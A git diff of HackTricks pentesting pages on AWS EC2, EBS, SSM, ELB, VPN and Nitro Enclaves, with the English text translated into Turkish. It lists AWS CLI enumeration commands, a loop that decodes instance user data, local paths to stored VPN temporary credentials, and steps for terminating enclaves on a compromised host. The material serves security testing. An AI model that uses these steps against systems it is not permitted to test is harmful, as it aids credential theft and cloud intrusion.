azaltır. -Interesting things to enumerate in EC2: +EC2'de sıralanacak ilginç şeyler: -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- Sanal Makineler +- SSH Anahtarları +- Kullanıcı Verisi +- Mevcut EC2'ler/AMI'ler/Anlık Görüntüler +- Ağ +- Ağlar +- Alt Ağlar +- Genel IP'ler +- Açık portlar +- AWS dışındaki diğer ağlarla entegre bağlantılar ### Instance Profiles -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +**EC2 örnekleri** üzerinde çalışan uygulamalara izin vermek için **roller** kullanmak biraz ekstra yapılandırma gerektirir. Bir EC2 örneğinde çalışan bir uygulama, sanallaştırılmış işletim sistemi tarafından AWS'den soyutlanmıştır. Bu ekstra ayrım nedeniyle, bir AWS rolünü ve ona bağlı izinleri bir EC2 örneğine atamak ve bunları uygulamalarına sunmak için ek bir adım gereklidir. -This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +Bu ek adım, örneğe bağlı bir [_**örnek profili**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) **oluşturulmasıdır**. **Örnek profili, rolü içerir ve** örnekte çalışan bir uygulamaya rolün geçici kimlik bilgilerini sağlayabilir. Bu geçici kimlik bilgileri, uygulamanın API çağrılarında kaynaklara erişmek ve yalnızca rolün belirttiği kaynaklara erişimi sınırlamak için kullanılabilir. **Bir EC2 örneğine yalnızca bir rol atanabileceğini** ve örnekteki tüm uygulamaların aynı rolü ve izinleri paylaştığını unutmayın. ### Metadata Endpoint -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +AWS EC2 meta verisi, bir Amazon Elastic Compute Cloud (EC2) örneği hakkında, örneğe çalışma zamanında mevcut olan bilgilerdir. Bu meta veri, örneğin örnek kimliği, çalıştığı kullanılabilirlik bölgesi, örneğe bağlı IAM rolü ve örneğin ana bilgisayar adı gibi bilgiler sağlamak için kullanılır. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} ### Enumeration - ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,22 +127,21 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md {{#endref}} -### Privesc +### Yetki Yükseltme -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +Aşağıdaki sayfada **EC2 izinlerini kötüye kullanarak yetki yükseltmeyi** kontrol edebilirsiniz: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### İstismar Sonrası {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **anlık görüntüleri**, temelde AWS EBS hacimlerinin statik **yedekleridir**. Diğer bir deyişle, belirli bir zamanda bir **EC2** Örneğine bağlı **disklerin** **kopyalarıdır**. EBS anlık görüntüleri bölgeler ve hesaplar arasında kopyalanabilir veya hatta indirilebilir ve yerel olarak çalıştırılabilir. -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +Anlık görüntüler, **kaynak kodu veya API anahtarları** gibi **hassas bilgiler** içerebilir, bu nedenle, şansınız varsa, kontrol etmeniz önerilir. -### Difference AMI & EBS +### AMI & EBS Farkı -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +Bir **AMI**, **bir EC2 örneği başlatmak için** kullanılırken, bir EC2 **Anlık Görüntüsü**, **bir EBS hacminde depolanan verileri yedeklemek ve kurtarmak için** kullanılır. Bir EC2 Anlık Görüntüsü yeni bir AMI oluşturmak için kullanılabilir, ancak bu bir AMI ile aynı şey değildir ve bir uygulamayı çalıştırmak için gereken işletim sistemi, uygulama sunucusu veya diğer yazılımlar hakkında bilgi içermez. -### Privesc +### Yetki Yükseltme -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +Aşağıdaki sayfada **EBS izinlerini kötüye kullanarak yetki yükseltmeyi** kontrol edebilirsiniz: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems Manager (SSM)**, EC2 örneklerinin gruplarını uzaktan yönetmeyi sağlar ve yönetimlerini çok daha kolay hale getirir. Bu örneklerin her biri, **SSM Agent hizmetini çalıştırıyor olmalıdır, çünkü bu hizmet AWS API'sinden gelen eylemleri alıp gerçekleştirecektir**. -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +**SSM Agent**, Sistem Yöneticisi'nin bu kaynakları güncellemesini, yönetmesini ve yapılandırmasını mümkün kılar. Ajan, **AWS Bulutundaki Sistem Yöneticisi hizmetinden gelen istekleri işler** ve ardından isteklerde belirtildiği gibi çalıştırır. -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +**SSM Agent**, [**bazı AMI'lerde önceden yüklenmiş olarak gelir**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) veya bunları [**örneklere manuel olarak yüklemeniz gerekir**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html). Ayrıca, örnek içinde kullanılan IAM Rolü'nün iletişim kurabilmesi için **AmazonEC2RoleforSSM** politikasına sahip olması gerekir. +### Sayım ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +EC2 örneğinde Systems Manager'ın çalışıp çalışmadığını kontrol etmek için sadece şunu çalıştırabilirsiniz: ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +Aşağıdaki sayfada **SSM izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**Elastic Load Balancing** (ELB), **Amazon Web Services** (AWS) dağıtımları için bir **yük dengeleme hizmetidir**. ELB, gelen uygulama trafiğini otomatik olarak **dağıtır** ve trafik taleplerini karşılamak için kaynakları ölçeklendirir. ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## Başlatma Şablonları ve Otomatik Ölçekleme Grupları -## Launch Templates & Autoscaling Groups - -### Enumeration - +### Sayım ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,12 +226,11 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro, AWS EC2 örneklerinin temel platformunu oluşturan **yenilikçi teknolojiler** setidir. Amazon tarafından **güvenliği, performansı ve güvenilirliği artırmak** amacıyla tanıtılan Nitro, özel **donanım bileşenleri ve hafif bir hipervizör** kullanır. Geleneksel sanallaştırma işlevlerinin çoğunu özel donanım ve yazılıma soyutlayarak, **saldırı yüzeyini minimize eder** ve kaynak verimliliğini artırır. Sanallaştırma işlevlerini devrederek, Nitro'nun EC2 örneklerinin **neredeyse bare-metal performansı** sunmasına olanak tanır, bu da kaynak yoğun uygulamalar için özellikle faydalıdır. Ayrıca, Nitro Güvenlik Çipi, **donanım ve yazılım güvenliğini** özel olarak sağlar ve sağlam mimarisini daha da güçlendirir. -Get more information and how to enumerate it from: +Daha fazla bilgi ve nasıl sıralanacağı hakkında bilgi almak için: {{#ref}} aws-nitro-enum.md @@ -248,35 +238,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +Bir VPN, **on-premise ağınızı (site-to-site VPN)** veya **çalışanların dizüstü bilgisayarlarını (Client VPN)** **AWS VPC** ile bağlayarak hizmetlerin internete maruz kalmadan erişilmesini sağlar. -#### Basic AWS VPN Components +#### Temel AWS VPN Bileşenleri -1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. -2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. -3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. -4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +1. **Müşteri Geçidi**: +- Müşteri Geçidi, bir VPN bağlantısının sizin tarafınızı temsil etmek için AWS'de oluşturduğunuz bir kaynaktır. +- Temelde, Site-to-Site VPN bağlantınızın sizin tarafınızdaki fiziksel bir cihaz veya yazılım uygulamasıdır. +- AWS'ye bir Müşteri Geçidi oluşturmak için yönlendirme bilgilerini ve ağ cihazınızın (örneğin bir yönlendirici veya bir güvenlik duvarı) genel IP adresini sağlarsınız. +- VPN bağlantısını kurmak için bir referans noktası olarak hizmet eder ve ek ücretler getirmez. +2. **Sanal Özel Geçit**: +- Sanal Özel Geçit (VPG), Amazon tarafındaki Site-to-Site VPN bağlantısındaki VPN konsantratörüdür. +- VPC'nize bağlıdır ve VPN bağlantınız için hedef olarak hizmet eder. +- VPG, VPN bağlantısının AWS tarafı uç noktasıdır. +- VPC'niz ile on-premises ağınız arasındaki güvenli iletişimi yönetir. +3. **Site-to-Site VPN Bağlantısı**: +- Site-to-Site VPN bağlantısı, on-premises ağınızı güvenli, IPsec VPN tüneli aracılığıyla bir VPC'ye bağlar. +- Bu tür bir bağlantı, bir Müşteri Geçidi ve bir Sanal Özel Geçit gerektirir. +- Veri merkeziniz veya ağınız ile AWS ortamınız arasında güvenli, kararlı ve tutarlı iletişim için kullanılır. +- Genellikle düzenli, uzun vadeli bağlantılar için kullanılır ve bağlantı üzerinden aktarılan veri miktarına göre faturalandırılır. +4. **Client VPN Uç Noktası**: +- Client VPN uç noktası, AWS'de istemci VPN oturumlarını etkinleştirmek ve yönetmek için oluşturduğunuz bir kaynaktır. +- Bireysel cihazların (dizüstü bilgisayarlar, akıllı telefonlar vb.) AWS kaynaklarına veya on-premises ağınıza güvenli bir şekilde bağlanmasını sağlamak için kullanılır. +- Site-to-Site VPN'den, tüm ağları bağlamak yerine bireysel istemciler için tasarlanmış olması bakımından farklıdır. +- Client VPN ile her istemci cihazı, güvenli bir bağlantı kurmak için bir VPN istemci yazılımı kullanır. -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). - -### Enumeration +[**AWS VPN'lerinin faydaları ve bileşenleri hakkında daha fazla bilgi bulabilirsiniz**](aws-vpc-and-networking-basic-information.md#vpn). +### Sıralama ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,31 +289,26 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` +### Yerel Sınıflandırma -### Local Enumeration +**Yerel Geçici Kimlik Bilgileri** -**Local Temporary Credentials** +AWS VPN Client bir VPN'e bağlanmak için kullanıldığında, kullanıcı genellikle **AWS'e giriş yapar** ve VPN'e erişim elde eder. Ardından, VPN bağlantısını kurmak için bazı **AWS kimlik bilgileri oluşturulur ve yerel olarak saklanır**. Bu kimlik bilgileri **şu konumda saklanır**: `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` ve bir **AccessKey**, bir **SecretKey** ve bir **Token** içerir. -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +Kimlik bilgileri `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` kullanıcısına aittir (TODO: bu kimlik bilgilerinin izinleri hakkında daha fazla araştırma yap). -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +**opvn yapılandırma dosyaları** -**opvn config files** +Eğer bir **VPN bağlantısı kurulduysa**, sistemde **`.opvn`** yapılandırma dosyalarını aramalısınız. Ayrıca, **yapılandırmaları** bulabileceğiniz bir yer **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**'dir. -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** - -#### **Post Exploitaiton** +#### **Sonuçların Kullanımı** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md {{#endref}} -## References +## Referanslar - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..ef6b86038 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,21 +2,20 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro, AWS EC2 örnekleri için temel platformu oluşturan **yenilikçi teknolojiler** setidir. Amazon tarafından **güvenliği, performansı ve güvenilirliği artırmak** amacıyla tanıtılan Nitro, özel **donanım bileşenleri ve hafif bir hipervizör** kullanır. Geleneksel sanallaştırma işlevlerinin çoğunu özel donanım ve yazılıma soyutlayarak, **saldırı yüzeyini minimize eder** ve kaynak verimliliğini artırır. Sanallaştırma işlevlerini devrederek, Nitro'nun EC2 örneklerinin **neredeyse bare-metal performansı** sunmasına olanak tanır, bu da kaynak yoğun uygulamalar için özellikle faydalıdır. Ayrıca, Nitro Güvenlik Çipi, **donanım ve yazılım güvenliğini** sağlamak için özel olarak tasarlanmıştır ve sağlam mimarisini daha da güçlendirir. ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves**, Amazon EC2 örnekleri içinde yüksek hassasiyetli verilerin işlenmesi için özel olarak tasarlanmış güvenli, **izole bir hesaplama ortamı** sağlar. AWS Nitro Sistemi'nden yararlanarak, bu enclaves güçlü **izolasyon ve güvenlik** sağlar, **gizli bilgilerin** (PII veya finansal kayıtlar gibi) işlenmesi için idealdir. Minimalist bir ortam sunarak, veri ifşası riskini önemli ölçüde azaltır. Ayrıca, Nitro Enclaves, kullanıcıların yalnızca yetkilendirilmiş kodun çalıştığını doğrulamalarına olanak tanıyan kriptografik onaylamayı destekler; bu, sıkı uyum ve veri koruma standartlarının korunması için kritik öneme sahiptir. > [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> Nitro Enclave görüntüleri **EC2 örnekleri içinden çalıştırılır** ve AWS web konsolundan bir EC2 örneğinin Nitro Enclave'de görüntü çalıştırıp çalıştırmadığını göremezsiniz. -## Nitro Enclave CLI installation - -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: +## Nitro Enclave CLI kurulumu +Tüm talimatları [**belgelerden**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) takip edin. Ancak, en önemli olanlar şunlardır: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` +## Nitro Enclave Görüntüleri -## Nitro Enclave Images - -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +Nitro Enclave'de çalıştırabileceğiniz görüntüler, docker görüntülerine dayanmaktadır, bu nedenle Nitro Enclave görüntülerinizi şu şekilde docker görüntülerinden oluşturabilirsiniz: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +Nitro Enclave görüntülerinin **`eif`** (Enclave Image File) uzantısını kullandığını görebilirsiniz. -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +Çıktı şu şekilde görünecektir: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` +### Bir Görüntü Çalıştır -### Run an Image - -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +[**belgelere**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) göre, bir enclave görüntüsü çalıştırmak için ona **`eif` dosyasının boyutunun en az 4 katı kadar bellek** atamanız gerekir. Dosyada ona verilecek varsayılan kaynakları yapılandırmak mümkündür. ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> Her zaman **ebeveyn EC2** örneği için de bazı kaynakları **ayırmanız** gerektiğini unutmayın! +Bir görüntüye verilecek kaynakları öğrendikten ve yapılandırma dosyasını değiştirdikten sonra, bir enclave görüntüsünü çalıştırmak mümkündür: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` +### Enclaves'ı Listele -### Enumerate Enclaves - -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +Eğer bir EC2 sunucusunu ele geçirirseniz, çalışan enclave görüntülerinin bir listesini almak mümkündür: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +**Çalışan bir enclave görüntüsünde bir shell almak mümkün değildir** çünkü enclave'in ana amacı budur, ancak **`--debug-mode`** parametresini kullanırsanız, bunun **stdout**'sunu almak mümkündür: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` +### Enklaveleri Sonlandır -### Terminate Enclaves - -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +Eğer bir saldırgan bir EC2 örneğini ele geçirirse, varsayılan olarak içinde bir shell elde edemeyecektir, ancak onları **sonlandırabilecektir**: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +Bir **enclave** üzerinde çalışan görüntü ile iletişim kurmanın tek yolu **vsocks** kullanmaktır. -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Sanal Soket (vsock)**, sanal makineler (**VM'ler**) ile **hypervisor'ları** arasında veya VM'ler **arasında** iletişimi kolaylaştırmak için özel olarak tasarlanmış bir soket ailesidir. Vsock, ana bilgisayarın ağ yığınına güvenmeden verimli, **iki yönlü iletişim** sağlar. Bu, VM'lerin ağ yapılandırmalarına ihtiyaç duymadan iletişim kurmasını mümkün kılar; **bağlantıları tanımlamak ve yönetmek için 32 bitlik Bir Bağlam Kimliği (CID) ve port numaraları** kullanır. Vsock API'si, TCP ve UDP'ye benzer şekilde, akış ve datagram soket türlerini destekleyerek sanal ortamlardaki kullanıcı düzeyindeki uygulamalar için çok yönlü bir araç sağlar. > [!TIP] -> Therefore, an vsock address looks like this: `:` +> Bu nedenle, bir vsock adresi şu şekilde görünür: `:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +Çalışan görüntülerin **CIDs**'lerini bulmak için aşağıdaki komutu çalıştırabilir ve **`EnclaveCID`**'yi alabilirsiniz:
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
 
